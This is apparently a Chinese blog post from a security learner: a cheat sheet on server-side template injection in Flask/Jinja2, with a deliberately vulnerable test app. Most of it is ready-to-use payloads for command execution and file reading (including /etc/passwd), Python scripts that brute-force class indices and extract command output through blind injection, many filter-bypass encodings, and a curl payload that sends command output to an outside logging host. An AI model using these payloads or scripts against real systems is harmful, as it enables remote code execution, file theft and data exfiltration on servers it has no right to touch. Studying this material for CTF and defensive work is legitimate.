我的联系方式
微信Anylike830919
QQ1012001832
邮箱fixaapp@163.com
2021-08-06 06:58:06ans
原理与其他注入漏洞很相似,就是模板中对用户输入的地方处理不当,导致用户输入作为模板一部分被渲染,造成代码注入以及命令执行等。
基础的测试方法是用形如{{1+1}}的方式来看结果是不是2,如果是2,说明输入被当作是一条语句执行了,就存在模板注入漏洞。
而SSTI的攻击,其实就是通过各种方法找到能够执行命令的函数来执行命令。由于没有builtins,命名空间受限,我们在{{}}表达式中无法使用eval、open等操作,但若我们可以通过任意一个函数的func_globals得到它们的命名空间即得到builtins。
在python中所有类都是type类的实例,而又都继承自object类,所以可以从object类的子类层层往下找,中间涉及一些特殊方法例如__repr__``__init__
等,详细的介绍见https://xz.aliyun.com/t/8029
__builtins__
命名空间一般ssti里用户输入是没有builtins命名空间的,因此想要执行eval、open等函数需要先找到__builtins__
命名空间:
常用方法:
#常用方法
__class__ #返回type类型,查看对象的类型
__bases__ #返回tuple类型,列出该类的基类
__mro__ #返回tuple类型,给出解析方法调用的顺序
__subclasses__() #返回内建方法builtin_function_or_method,获取一个类的子类
__globals__ #返回dict类型,对函数进行操作,获取当前空间下能使用的模块、方法、变量
#jinja2语法:
{{xxx}}:xxx为表达式
{%xxx%}:xxx为for,if和set语句
先用__class__
获得任何对象的类型,然后通过__mro__
或者__base__
向上找便可以得到object类。
#获得基类
#python2.7
''.__class__.__mro__[2]
{}.__class__.__bases__[0]
().__class__.__bases__[0]
[].__class__.__bases__[0]
request.__class__.__mro__[1]
#python3.7
''.__class__.__mro__[1]
{}.__class__.__bases__[0]
().__class__.__bases__[0]
[].__class__.__bases__[0]
request.__class__.__mro__[1]
得到object类后用__subclasses__()
方法得到全部子类
再找重载过__init__``__repr__``__enter__``__exit__
等特殊方法的类,POC:
import requests
url = "http://127.0.0.1:5000/test"
headers = {"Content-Type":"application/x-www-form-urlencoded"} # 防止url编码,requests默认会进行url编码
class_list = []
for i in range(0,524):
params = {"a":"{{''.__class__.__mro__[1].__subclasses__()[%d].__init__.__globals__['__builtins']}}" % i}
print_param = {"a":"{{''.__class__.__mro__[1].__subclasses__()[%d]}}" % i}
res = requests.get(url=url,params=params,headers=headers).text
if not 'jinja2.exceptions.UndefinedError' in res:
print(i) # 输出可用的类的索引
class_list.append(requests.get(url=url,params=print_param,headers=headers).text)
# print(class_list) # 输出类名
随便选一个可用的类:
{{''.__class__.__mro__[1].__subclasses__()[193].__init__.__globals__['__builtins__']}}
利用这些类的__init__
或者__repr__
方法的__globals__
得到__builtins__
,或者os,codecs等可以进行代码执行的调用:
直接读取文件:
{{''.__class__.__mro__[1].__subclasses__()[193].__init__.__globals__['__builtins__'].open('run.py').read()}}
利用eval导入os模块执行命令:
{{''.__class__.__mro__[1].__subclasses__()[193].__init__.__globals__['__builtins__']['eval']("__import__('os').popen('ls').read()")}}
利用func_globals.linecache(只有python2可以)
[].__class__.__bases__[0].__subclasses__()[59].__init__.func_globals.linecache下有os类,可以直接执行命令:
[].__class__.__bases__[0].__subclasses__()[59].__init__.func_globals.linecache.os.popen('id').read()
用eval导入codecs模块读文件:
{{''.__class__.__mro__[1].__subclasses__()[193].__init__.__globals__['__builtins__']['eval']("__import__('codecs').open('run.py').read()")}}
通过遍历找到指定的类来执行命令或读文件(好处就是不需要用脚本来看哪些类能用了):
#命令执行
{% for c in [].__class__.__base__.__subclasses__() %}{% if c.__name__=='catch_warnings' %}{{ c.__init__.__globals__['__builtins__'].eval("__import__('os').popen('ls').read()") }}{% endif %}{% endfor %}
#文件操作
{% for c in [].__class__.__base__.__subclasses__() %}{% if c.__name__=='catch_warnings' %}{{ c.__init__.__globals__['__builtins__'].open('filename', 'r').read() }}{% endif %}{% endfor %}
这种方法不用获得__builtins__
命名空间
首先查找哪些类有某个方法例如popen方法:
import requests
import html
url = "http://127.0.0.1:5000/test"
headers = {"Content-Type":"application/x-www-form-urlencoded"} # 防止url编码,requests默认会进行url编码
class_list = []
for i in range(0,524):
params = {"a":"{{''.__class__.__mro__[1].__subclasses__()[%d].__init__.__globals__}}" % i}
print_param = {"a":"{{''.__class__.__mro__[1].__subclasses__()[%d]}}" % i}
res = html.unescape(requests.get(url=url,params=params,headers=headers).text)
if "'popen':" in res and not 'jinja2.exceptions.UndefinedError' in res:
print(i)
class_list.append(html.unescape(requests.get(url=url,params=print_param,headers=headers).text)[29:])
print(class_list)
返回:
118
["<class 'os._wrap_close'>"]
表示''.__class__.__mro__[1].__subclasses__()[118]
为os.warpclose类,这个类有popen方法,于是就可以直接调用popen方法,不需要获得`__builtins`:
{{''.__class__.__mro__[1].__subclasses__()[118].__init__.__globals__.popen('whoami').read()}}
除了popen之外还可以查询os:
{{''.__class__.__mro__[1].__subclasses__()[523].__init__.__globals__.os.popen('whoami').read()}}
寻找这个类的脚本:
import requests
import html
url = "http://127.0.0.1:5000/test"
headers = {"Content-Type":"application/x-www-form-urlencoded"} # 防止url编码,requests默认会进行url编码
class_list = []
for i in range(0,524):
params = {"a":"{{''.__class__.__mro__[1].__subclasses__()[%d]}}" % i}
res = html.unescape(requests.get(url=url,params=params,headers=headers).text)
if 'subprocess.Popen' in res:
print(i)
找到后直接执行命令:
{{''.__class__.__mro__[1].__subclasses__()[290]('whoami',shell=True,stdout=-1).communicate()[0].strip()}}
对于有参数的命令可以用列表代替:
{{''.__class__.__mro__[1].__subclasses__()[290](['ls','-l'],shell=True,stdout=-1).communicate()[0].strip()}}
因为python3和python2两个版本下有差别,这里把python2单独拿出来说
tips:python2的string
类型不直接从属于属于基类,所以要用两次 __bases__[0]
用file
类读写文件
本方法只能适用于python2,因为在python3中file
类已经被移除了
可以使用dir查看file对象中的内置方法
>>> dir(().__class__.__bases__[0].__subclasses__()[40])
['__class__', '__delattr__', '__doc__', '__enter__', '__exit__', '__format__', '__getattribute__', '__hash__', '__init__', '__iter__', '__new__', '__reduce__', '__reduce_ex__', '__repr__', '__setattr__', '__sizeof__', '__str__', '__subclasshook__', 'close', 'closed', 'encoding', 'errors', 'fileno', 'flush', 'isatty', 'mode', 'name', 'newlines', 'next', 'read', 'readinto', 'readline', 'readlines', 'seek', 'softspace', 'tell', 'truncate', 'write', 'writelines', 'xreadlines']
然后直接调用里面的方法即可,payload如下
读文件
{{().__class__.__bases__[0].__subclasses__()[40]('/etc/passwd').read()}}
{{().__class__.__bases__[0].__subclasses__()[40]('/etc/passwd').readlines()}}
warnings
类中的linecache
本方法只能用于python2,因为在python3中会报错'function object' has no attribute 'func_globals'
,猜测应该是python3中func_globals
被移除了还是啥的,如果不对请师傅们指出
我们把上面的find.py
脚本中的search变量赋值为linecache
,去寻找含有linecache
的类
λ python find.py
(<class 'warnings.WarningMessage'>, 59)
(<class 'warnings.catch_warnings'>, 60)
后面如法炮制,payload如下
{{[].__class__.__base__.__subclasses__()[60].__init__.func_globals['linecache'].os.popen('whoami')
简单的flask环境搭建:
from flask import Flask
from flask import request
from flask import render_template_string
from urllib import parse
app = Flask(__name__)
app.debug = True
@app.route('/')
def hello_world():
return 'hello world'
@app.route('/test',methods=['GET','POST'])
def test():
a = parse.unquote(request.url)
template = '%s' % a
return render_template_string(template)
if __name__ == '__main__':
app.run(host='127.0.0.1',port=5000)
运行在URL输入http://127.0.0.1:5000/test?{{1+1}}
就可以开始测试了
{{''.class.__mro__[1].__subclasses__()[163]}}
可以用__getitem__函数代替:
{{''.class.__mro__.__getitem__(1).__subclasses__().__getitem__(163)}}
若结果是列表则可用pop函数代替(mro不是列表是元组,通常用__base__即可代替):
{{''.class.__mro__[1].__subclasses__().pop(163)}}
若结果是字典则可用.get函数代替:
{{''.class.__mro__[1].__subclasses__()[64].__init__.__globals__.get('builtins')}}
即使是作为属性名的__subclasses__也可以用__dict__.get('__subclasses')[193]的方式代替:
{{''.class.__mro__[1].__dict__.get('__subclasses__()')[193].__init__.__globals__.get('builtins')}}
.
:
{{()["__class__"]}}
{{()|attr("__class__")}}
{{getattr((),"__class__")}}
{{"".class.__bases[0]__.__subclasses__()[163]}}
变为:
{{"".class.__bases[0]__['__subc'+'lasses__()[163]']}}
import platform
print platform.popen('dir').read()
用法和os完全一致,因此可以把下面的payload:
{{[]['__class__'].__mro__[1].__dict__.get('sub'+'classes__()')[193].__init__.__globals__['__builtins__'].eval("__import__('os').popen('dir').read()")}}
代替为:
{{[]['__class__'].__mro__[1].__dict__.get('sub'+'classes__()')[193].__init__.__globals__['__builtins__'].eval("__import__('platform').popen('dir').read()")}}
除此之外,还有subprocess.getoutput(cmd)、subprocess.getstatusoutput(cmd)等
// <class 'warnings.catch_warnings'>类在在内部定义了_module=sys.modules['warnings'],然后warnings模块包含有__builtins__,
如果可以找到warnings.catch_warnings类,则可以不使用 globals
''.__class__.__mro__[2].__subclasses__()[60]()._module.__builtins__['__import__']("os").system("calc")
找到这个类的索引的POC:
import requests
import html
url = "http://127.0.0.1:5000/test"
headers = {"Content-Type":"application/x-www-form-urlencoded"} # 防止url编码,requests默认会进行url编码
class_list = []
for i in range(0,524):
params = {"a":"{{().__class__.__mro__[1].__subclasses__()[%d]}}" % i}
res = html.unescape(requests.get(url=url,params=params,headers=headers).text)
if "catch_warnings" in res:
print(i)
print(res)
request.args.xxx
request.cookies.xxx
request.headers.xxx
request.values.xxx
request.form.xxx
举个例子:
// url?a=eval&b={{''.__class__.__mro__[2].__subclasses__()[162].__init__.__globals__.__builtins__[request.args.a]('__import__("os").popen("ls").read()')}}
// Cookie: aa=__class__;bb=__mro__;cc=__subclasses__
{{((request|attr(request.cookies.get('aa'))|attr(request.cookies.get('bb'))|list).pop(-1))|attr(request.cookies.get('cc'))()}}
这种方法request.xxx.xxx必须在中括号或函数括号内,否则无效
__str__
函数上面的例子如果request也被ban了,可以通过{{(config.__str__()[2])+(config.__str__()[3])}}
获得想要的字符。
可以用前面的方法找到builtins之后再找到chr()函数,用{%%}语句定义chr函数,然后就可以用chr(xx)来表示字符
例如:
{% chr=().__class__.__base__.__subclasses__().pop(163)()._module.__builtins__.chr %}
定义后调用(加号要urlencode不然会识别为空格):
{{().__class__.__base__.__subclasses__().pop(163)()._module.__builtins__.__import__(chr(111)%2bchr(115)).popen(chr(34)%2bchr(108)%2bchr(115)%2bchr(34)).read() }}
这个方法利用的是构造出’%c’字符串,然后利用python的’%c’ % (number)的语法来构造任意字符
利用flask的g对象,可以得到’%’:
{%set pc = g|lower|list|first|urlencode|first%}
然后得到’c’:
{%set c=dict(c=1).keys()|reverse|first%}
合并二者得到’%c’:
{%set udl=dict(a=pc,c=c).values()|join %}
之后可以得到任意字符:
{%set udl2=udl%(95)%}{{udl}}
合起来的payload就是:
{%set pc = g|lower|list|first|urlencode|first%}{%set c=dict(c=1).keys()|reverse|first%}{%set udl=dict(a=pc,c=c).values()|join %}{%set udl2=udl%(95)%}{{udl}}
在过滤器没被ban的情况下,只要有任何可以利用的字符,用过滤器处理过后都可以得到任意字符
{% if 'r' == (''.__class__.__mro__[1].__subclasses__()[163].__init__.__globals__['__builtins__'].eval("__import__('os').popen('ls').read()")) %}1{% endif %}
这样没有回显,只有猜中结果时会返回1,这显然不可用,所以需要考虑外带
当然也可以用下面三种方式进行单个字符的注入:
{% if 'f' == (''.__class__.__mro__[1].__subclasses__()[163].__init__.__globals__['__builtins__'].eval("__import__('os').popen('ls').read()"))|list|first %}Anylike{% endif %}
jinja2语法表达式里有’in’,所以得到第一个字符之后可以用in来单字符注入:
{% if 'ru' == (''.__class__.__mro__[1].__subclasses__()[163].__init__.__globals__['__builtins__'].eval("__import__('os').popen('ls').read()"))|list|first %}1{% endif %}
如果匹配成功返回1,否则不会返回,返回的内容可以自行设定
这种方式的exp:
import requests
import html
import sys
url = "http://127.0.0.1:5000/test"
headers = {"Content-Type":"application/x-www-form-urlencoded"} # 防止url编码,requests默认会进行url编码
class_list = []
result = ""
#判断是否已经全部盲注出结果
def end():
payload = "{%% if '%s' == (''.__class__.__mro__[1].__subclasses__()[163].__init__.__globals__['__builtins__'].eval(\"__import__('os').popen('ls').read()\")) %%}Anylike{%% endif %%}" % (result)
params = {"a": payload}
res = html.unescape(requests.get(url=url,params=params,headers=headers).text)
if 'Anylike' in res:
return True
else:
return False
# 第一个字符
for i in "abcdefghijklmnopqrstuvwxyz0123456789_-+=~`!@#$%^&*();'/.,<>\\\"":
# 默认payload
payload = "{%% if '%s' == (''.__class__.__mro__[1].__subclasses__()[163].__init__.__globals__['__builtins__'].eval(\"__import__('os').popen('ls').read()\"))|list|first %%}Anylike{%% endif %%}" % (result+i)
params = {"a": payload}
res = html.unescape(requests.get(url=url,params=params,headers=headers).text)
if "Anylike" in res:
result += i
sys.stdout.write("\r%s" % result)
break
# 后续字符
while not end():
for i in "abcdefghijklmnopqrstuvwxyz0123456789_-+=~`!@#$%^&*();'/.,<>\\\"":
# 默认payload
payload = "{%% if '%s' in (''.__class__.__mro__[1].__subclasses__()[163].__init__.__globals__['__builtins__'].eval(\"__import__('os').popen('ls').read()\")) %%}Anylike{%% endif %%}" % (result+i)
params = {"a": payload}
res = html.unescape(requests.get(url=url,params=params,headers=headers).text)
if "Anylike" in res:
result += i
sys.stdout.write("\r%s" % result)
truncate(length,killwords,end,leeway)四个参数分别为截取的长度,是否截断单词,结束的符号是什么,以及容差(即留有多少余地)
详细的解释在https://blog.csdn.net/yueguangMaNong/article/details/85196199
一般killwords设为True,end默认为三个点,可以手动设为空字符,leeway必须设置且要设为0
{{ (''.__class__.__mro__[1].__subclasses__()[163].__init__.__globals__['__builtins__'].eval("__import__('os').popen('ls').read()"))|truncate(2,True,'',leeway=0) }}
这样上述代码截取的就是结果的前两个字符,这样进行盲注会比较简单
这种方式的EXP:
import requests
import html
import sys
url = "http://127.0.0.1:5000/test"
headers = {"Content-Type":"application/x-www-form-urlencoded"} # 防止url编码,requests默认会进行url编码
class_list = []
result = ""
#判断是否已经全部盲注出结果
def end():
payload = "{%% if '%s' == (''.__class__.__mro__[1].__subclasses__()[163].__init__.__globals__['__builtins__'].eval(\"__import__('os').popen('ls').read()\")) %%}Anylike{%% endif %%}" % (result)
params = {"a": payload}
res = html.unescape(requests.get(url=url,params=params,headers=headers).text)
if 'Anylike' in res:
return True
else:
return False
i = 0
while not end():
i += 1
for j in "abcdefghijklmnopqrstuvwxyz0123456789_-+=~`!@#$%^&*();'/.,<>\\\"\t\n\r ":
# 默认payload
payload = "{%% if '%s' == (''.__class__.__mro__[1].__subclasses__()[163].__init__.__globals__['__builtins__'].eval(\"__import__('os').popen('ls').read()\"))|truncate(%d,True,'',leeway=0) %%}Anylike{%% endif %%}" % (result+j,i)
params = {"a": payload}
res = html.unescape(requests.get(url=url,params=params,headers=headers).text)
if "Anylike" in res:
result += j
sys.stdout.write("\r%s" % result)
break
直接用{{x[i]}}这种方式截取单个字符来盲注,这是最简单的盲注方式,但是中括号不能被过滤
EXP:
import requests
import html
import sys
url = "http://127.0.0.1:5000/test"
headers = {"Content-Type":"application/x-www-form-urlencoded"} # 防止url编码,requests默认会进行url编码
class_list = []
result = ""
#判断是否已经全部盲注出结果
def end():
payload = "{%% if '%s' == (''.__class__.__mro__[1].__subclasses__()[163].__init__.__globals__['__builtins__'].eval(\"__import__('os').popen('ls').read()\")) %%}Anylike{%% endif %%}" % (result)
params = {"a": payload}
res = html.unescape(requests.get(url=url,params=params,headers=headers).text)
if 'Anylike' in res:
return True
else:
return False
i = 0
while not end():
for j in "abcdefghijklmnopqrstuvwxyz0123456789_-+=~`!@#$%^&*();'/.,<>\\\"\t\n\r ":
# 默认payload
payload = "{%% if '%s' == (''.__class__.__mro__[1].__subclasses__()[163].__init__.__globals__['__builtins__'].eval(\"__import__('os').popen('ls').read()\"))[%d] %%}Anylike{%% endif %%}" % (j,i)
params = {"a": payload}
res = html.unescape(requests.get(url=url,params=params,headers=headers).text)
if "Anylike" in res:
result += j
sys.stdout.write("\r%s" % result)
break
i += 1
{%print config%}
用ceye平台接收数据:
{% if ().__class__.__base__.__subclasses__()[118].__init__.__globals__['popen']("curl `whoami`.aq4xd7.ceye.io").read()=='Anylike' %}1{% endif %}
{{url_for.__globals__['__builtins__'].__import__('os').system('ls')}}
{{request.__init__.__globals__['__builtins__'].open('/flag').read()}}
{{lipsum.__globals__['__builtins__'].open('/flag').read()}}
{{session.__init__.__globals__['__builtins__'].open('/flag').read()}}
所有的函数、对象清单链接:
http://docs.jinkan.org/docs/jinja2/templates.html#builtin-filters
中文版:
https://www.osgeo.cn/jinja/templates.html#builtin-filters
{{config}}
{{get_flashed_messages.__globals__['current_app'].config}}
{{self.__dict__._TemplateReference__context}}
所有在引号里的字符都可以用十六进制绕过:
{{()["\x5f\x5fclass\x5f\x5f"]["\x5f\x5fbases\x5f\x5f"][0]["\x5f\x5fsubclasses\x5f\x5f"]()[376]["\x5f\x5finit\x5f\x5f"]["\x5f\x5fglobals\x5f\x5f"]['popen']('whoami')['read']()}}
jinja2属性函数引号里的值可以用unicode编码绕过:
{{()|attr("\u005f\u005f\u0063\u006c\u0061\u0073\u0073\u005f\u005f")}}
转十六进制的POC:
string1="__class__"
string2="\x5f\x5f\x63\x6c\x61\x73\x73\x5f\x5f"
def tohex(string):
result = ""
for i in range(len(string)):
result=result+"\\x"+hex(ord(string[i]))[2:]
print(result)
tohex(string1) #\x5f\x5f\x63\x6c\x61\x73\x73\x5f\x5f
print(string2) #__class__
可以用__getattribute__
绕过:
{{"".__getattribute__("__cla"+"ss__").__base__}}
此处持续更新
先记录一个_frozen_importlib_external.FileLoader
的get_data()
方法,第一个是参数0,第二个为要读取的文件名,payload如下
{{().__class__.__bases__[0].__subclasses__()[222].get_data(0,"app.py")}}
使用十六进制绕过后,payload如下
{{()["\x5f\x5fclass\x5f\x5f"]["\x5F\x5Fbases\x5F\x5F"][0]["\x5F\x5Fsubclasses\x5F\x5F"]()[222]["get\x5Fdata"](0, "app\x2Epy")}}
通过__import__
导入__main__
来读取代码中的变量
{%print request.application.__globals__.__getitem__('__builtins__').__getitem__('__import__')('__main__').flag %}
8.1部分提到了一部分jinja2过滤器的使用
过滤器最常用的就是用xxx|attr(‘xxx’)来获得属性代替__xxx__.__xxx__
的形式
{{((lipsum|attr('__globals__'))|attr('__getitem__')('__builtins__')).__import__('os').popen('ls').read()}}
注意不能直接(xxx|attr('globals'))|attr('__builtins__')
因为__builtins__
是字典而不是对象,所以没有属性只有键和值,所以要用__getitem__
取出键对应的值
全部的过滤器链接如下:
http://docs.jinkan.org/docs/jinja2/templates.html#builtin-filters
中文版:
https://www.osgeo.cn/jinja/templates.html#builtin-filters
http://blog.wendell.pro/2020/11/25/flask-ssti-%E7%BB%95%E8%BF%87%E6%80%BB%E7%BB%93/
https://desperadoccy.xyz/2019/09/05/SSTI/